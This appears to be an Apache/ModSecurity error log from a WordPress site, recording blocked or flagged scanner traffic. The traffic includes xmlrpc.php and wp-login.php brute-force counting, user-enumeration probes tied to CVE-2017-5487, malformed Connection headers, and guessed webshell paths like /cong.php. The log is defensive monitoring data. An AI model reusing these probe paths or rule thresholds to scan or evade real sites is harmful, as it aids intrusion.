[Wed Jan 21 07:20:12.233100 2026] [:error] [pid 21456:tid 21538] [client 4.190.210.95:28101] [client 4.190.210.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXANrAKyVQ9Ob2YxRAqiqQAAAJQ"]
[Wed Jan 21 07:20:12.739077 2026] [:error] [pid 21456:tid 21530] [client 4.190.210.95:3029] [client 4.190.210.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contents.php/lv.php"] [unique_id "aXANrAKyVQ9Ob2YxRAqiqgAAAIw"]
[Wed Jan 21 07:42:33.455649 2026] [:error] [pid 59863:tid 59883] [client 20.89.17.172:21017] [client 20.89.17.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aXAS6bHQ1zVZ4yLuI-wXNQAAARA"]
[Wed Jan 21 07:42:33.921916 2026] [:error] [pid 21454:tid 21482] [client 20.89.17.172:20994] [client 20.89.17.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aXAS6Twp5UZmMFzY2bp43wAAABI"]
[Wed Jan 21 07:42:34.377459 2026] [:error] [pid 59863:tid 59876] [client 20.89.17.172:21025] [client 20.89.17.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aXAS6rHQ1zVZ4yLuI-wXNgAAAQk"]
[Wed Jan 21 07:42:34.834796 2026] [:error] [pid 21456:tid 21531] [client 20.89.17.172:21046] [client 20.89.17.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aXAS6gKyVQ9Ob2YxRAqqtwAAAI0"]
[Wed Jan 21 10:00:27.402764 2026] [:error] [pid 21456:tid 21526] [client 43.157.172.39:51684] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXAzOwKyVQ9Ob2YxRArK7AAAAIg"]
[Wed Jan 21 10:58:49.101371 2026] [:error] [pid 21454:tid 21476] [client 123.60.129.121:62529] [client 123.60.129.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.60.129.121, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXBA6Dwp5UZmMFzY2brBcQAAAAw"]
[Wed Jan 21 16:40:59.201016 2026] [:error] [pid 21456:tid 21536] [client 43.166.129.247:46060] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXCRGwKyVQ9Ob2YxRApKMwAAAJI"]
[Wed Jan 21 17:23:19.086489 2026] [:error] [pid 4382:tid 4406] [client 5.183.255.93:19601] [client 5.183.255.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.183.255.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXCbB5Hg0falVG3JFbApYQAAAZY"]
[Wed Jan 21 17:23:24.672742 2026] [:error] [pid 21455:tid 21492] [client 5.183.255.93:21425] [client 5.183.255.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.183.255.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXCbDIpOKALCSo1URZH-3gAAAEE"]
[Wed Jan 21 17:29:27.110589 2026] [:error] [pid 56352:tid 56363] [client 185.2.4.41:48122] [client 185.2.4.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXCcdtWN6wYNPTU3efXwTQAAAUk"]
[Wed Jan 21 17:29:30.488221 2026] [:error] [pid 21455:tid 21502] [client 185.2.4.41:48124] [client 185.2.4.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXCceopOKALCSo1URZEBEgAAAEs"]
[Wed Jan 21 20:16:50.598268 2026] [:error] [pid 21455:tid 21500] [client 101.91.148.219:49660] [client 101.91.148.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXDDsopOKALCSo1URZEqTQAAAEk"]
[Wed Jan 21 22:47:25.514999 2026] [:error] [pid 21563:tid 21589] [client 34.122.52.204:53225] [client 34.122.52.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.52.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXDm_RZq__dTorabEoypqgAAANg"]
[Wed Jan 21 22:47:28.983448 2026] [:error] [pid 21563:tid 21565] [client 34.122.52.204:53225] [client 34.122.52.204] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXDnABZq__dTorabEoyprwAAAMA"]
[Wed Jan 21 22:47:30.601295 2026] [:error] [pid 21563:tid 21586] [client 34.122.52.204:53225] [client 34.122.52.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.52.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXDnAhZq__dTorabEoypsQAAANU"]
[Wed Jan 21 22:47:32.997666 2026] [:error] [pid 21563:tid 21570] [client 34.122.52.204:55353] [client 34.122.52.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.52.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXDnBBZq__dTorabEoyptgAAAMU"]
[Wed Jan 21 22:47:35.470694 2026] [:error] [pid 21563:tid 21581] [client 34.122.52.204:53318] [client 34.122.52.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.52.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXDnBxZq__dTorabEoypugAAANA"]
[Wed Jan 21 22:47:37.970782 2026] [:error] [pid 59863:tid 59870] [client 34.122.52.204:56138] [client 34.122.52.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.52.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXDnCbHQ1zVZ4yLuI-zyWAAAAQM"]
[Wed Jan 21 22:47:40.292494 2026] [:error] [pid 59863:tid 59887] [client 34.122.52.204:58018] [client 34.122.52.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.52.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXDnDLHQ1zVZ4yLuI-zyWQAAARQ"]
[Wed Jan 21 22:47:40.292700 2026] [:error] [pid 59863:tid 59887] [client 34.122.52.204:58018] [client 34.122.52.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.122.52.204, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXDnDLHQ1zVZ4yLuI-zyWQAAARQ"]
[Thu Jan 22 00:08:41.331380 2026] [:error] [pid 4382:tid 4386] [client 42.96.16.189:56938] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXD6CZHg0falVG3JFbB5YwAAAYI"]
[Thu Jan 22 00:08:43.789137 2026] [:error] [pid 21456:tid 21521] [client 42.96.16.189:47038] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXD6CwKyVQ9Ob2YxRArB5gAAAIM"]
[Thu Jan 22 02:40:43.567810 2026] [:error] [pid 21455:tid 21514] [client 110.166.71.39:45738] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXEdq4pOKALCSo1URZF9gQAAAFc"]
[Thu Jan 22 05:54:38.939303 2026] [:error] [pid 52445:tid 52459] [client 150.109.230.210:51174] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXFLHuvMmsFgpSSb5L2OLQAAAAU"]
[Thu Jan 22 12:49:36.589418 2026] [:error] [pid 20418:tid 20432] [client 132.148.185.28:38752] [client 132.148.185.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXGsYBahoKEa6eS4cSoCrgAAAYo"]
[Thu Jan 22 12:49:39.153873 2026] [:error] [pid 52446:tid 52486] [client 132.148.185.28:38754] [client 132.148.185.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.185.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXGsY7J6clMw4kdrHYG3LwAAAEQ"]
[Thu Jan 22 12:50:16.242601 2026] [:error] [pid 52556:tid 52573] [client 8.217.89.127:33514] [client 8.217.89.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.217.89.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXGsiOg4y1NKM4AgfjDdEAAAAM8"]
[Thu Jan 22 12:50:19.969536 2026] [:error] [pid 27550:tid 27553] [client 8.217.89.127:33634] [client 8.217.89.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.217.89.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXGsi-OQDPzfV5R2LYS8SQAAAQE"]
[Thu Jan 22 14:35:21.896788 2026] [:error] [pid 52447:tid 52522] [client 170.106.181.163:36812] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXHFKXRLA2NsdGqJzov84wAAAI0"]
[Thu Jan 22 17:46:31.769241 2026] [:error] [pid 27550:tid 27554] [client 34.26.118.12:50843] [client 34.26.118.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.118.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXHx9-OQDPzfV5R2LYQisAAAAQI"]
[Thu Jan 22 17:46:35.228600 2026] [:error] [pid 27550:tid 27572] [client 34.26.118.12:50843] [client 34.26.118.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXHx--OQDPzfV5R2LYQiswAAARQ"]
[Thu Jan 22 17:46:36.701621 2026] [:error] [pid 27550:tid 27557] [client 34.26.118.12:50843] [client 34.26.118.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.118.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXHx_OOQDPzfV5R2LYQitQAAAQU"]
[Thu Jan 22 17:46:38.603280 2026] [:error] [pid 20418:tid 20435] [client 34.26.118.12:54309] [client 34.26.118.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.118.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXHx_hahoKEa6eS4cSpZXwAAAY0"]
[Thu Jan 22 17:46:40.521784 2026] [:error] [pid 52556:tid 52565] [client 34.26.118.12:54097] [client 34.26.118.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.118.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXHyAOg4y1NKM4AgfjBDvwAAAMc"]
[Thu Jan 22 17:46:42.416447 2026] [:error] [pid 52556:tid 52571] [client 34.26.118.12:56493] [client 34.26.118.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.118.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXHyAug4y1NKM4AgfjBDwQAAAM0"]
[Thu Jan 22 17:46:44.338172 2026] [:error] [pid 34321:tid 34334] [client 34.26.118.12:54221] [client 34.26.118.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.118.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXHyBBLMkukwqSCtKrBV7gAAAco"]
[Thu Jan 22 17:46:44.338304 2026] [:error] [pid 34321:tid 34334] [client 34.26.118.12:54221] [client 34.26.118.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.26.118.12, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXHyBBLMkukwqSCtKrBV7gAAAco"]
[Thu Jan 22 18:42:43.388423 2026] [:error] [pid 52445:tid 52457] [client 157.22.72.56:42111] [client 157.22.72.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXH_I-vMmsFgpSSb5L1VQgAAAAM"]
[Thu Jan 22 18:43:11.425273 2026] [:error] [pid 20418:tid 20427] [client 192.210.191.187:51345] [client 192.210.191.187] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXH_PxahoKEa6eS4cSplKwAAAYU"]
[Thu Jan 22 18:43:27.277701 2026] [:error] [pid 34321:tid 34326] [client 185.81.145.79:30185] [client 185.81.145.79] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXH_TxLMkukwqSCtKrBpNAAAAcI"]
[Thu Jan 22 18:44:29.309883 2026] [:error] [pid 34321:tid 34336] [client 157.22.124.46:47967] [client 157.22.124.46] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXH_jRLMkukwqSCtKrBpqwAAAcw"]
[Thu Jan 22 18:44:56.603274 2026] [:error] [pid 52445:tid 52465] [client 194.104.11.43:21631] [client 194.104.11.43] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXH_qOvMmsFgpSSb5L1V8QAAAAs"]
[Thu Jan 22 18:45:19.235930 2026] [:error] [pid 34321:tid 34324] [client 130.49.10.19:42857] [client 130.49.10.19] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXH_vxLMkukwqSCtKrBqFgAAAcA"]
[Thu Jan 22 19:03:15.810714 2026] [:error] [pid 52556:tid 52573] [client 103.124.95.33:52160] [client 103.124.95.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.124.95.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXID8-g4y1NKM4AgfjBUZgAAAM8"]
[Thu Jan 22 19:03:18.276401 2026] [:error] [pid 52556:tid 52578] [client 103.124.95.33:52176] [client 103.124.95.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.124.95.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXID9ug4y1NKM4AgfjBUcQAAANQ"]
[Thu Jan 22 19:42:54.782400 2026] [:error] [pid 20418:tid 20423] [client 170.106.181.163:60994] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXINPhahoKEa6eS4cSpwNwAAAYE"]
[Thu Jan 22 20:55:49.164107 2026] [:error] [pid 52445:tid 52471] [client 43.154.250.181:34502] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXIeVevMmsFgpSSb5L14qQAAABE"]
[Thu Jan 22 21:58:18.558679 2026] [ssl:error] [pid 52445:tid 52468] [client 178.62.82.141:53634] AH02032: Hostname danayapanova.ru provided via SNI and hostname gigfragments.org provided via HTTP have no compatible SSL setup
[Thu Jan 22 22:29:18.041431 2026] [:error] [pid 52445:tid 52454] [client 95.216.63.67:52476] [client 95.216.63.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/license.php"] [unique_id "aXI0PuvMmsFgpSSb5L2SoAAAAAA"], referer: www.google.com
[Thu Jan 22 22:48:06.748804 2026] [:error] [pid 52446:tid 52491] [client 34.172.63.185:53267] [client 34.172.63.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.63.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXI4prJ6clMw4kdrHYE0TwAAAEk"]
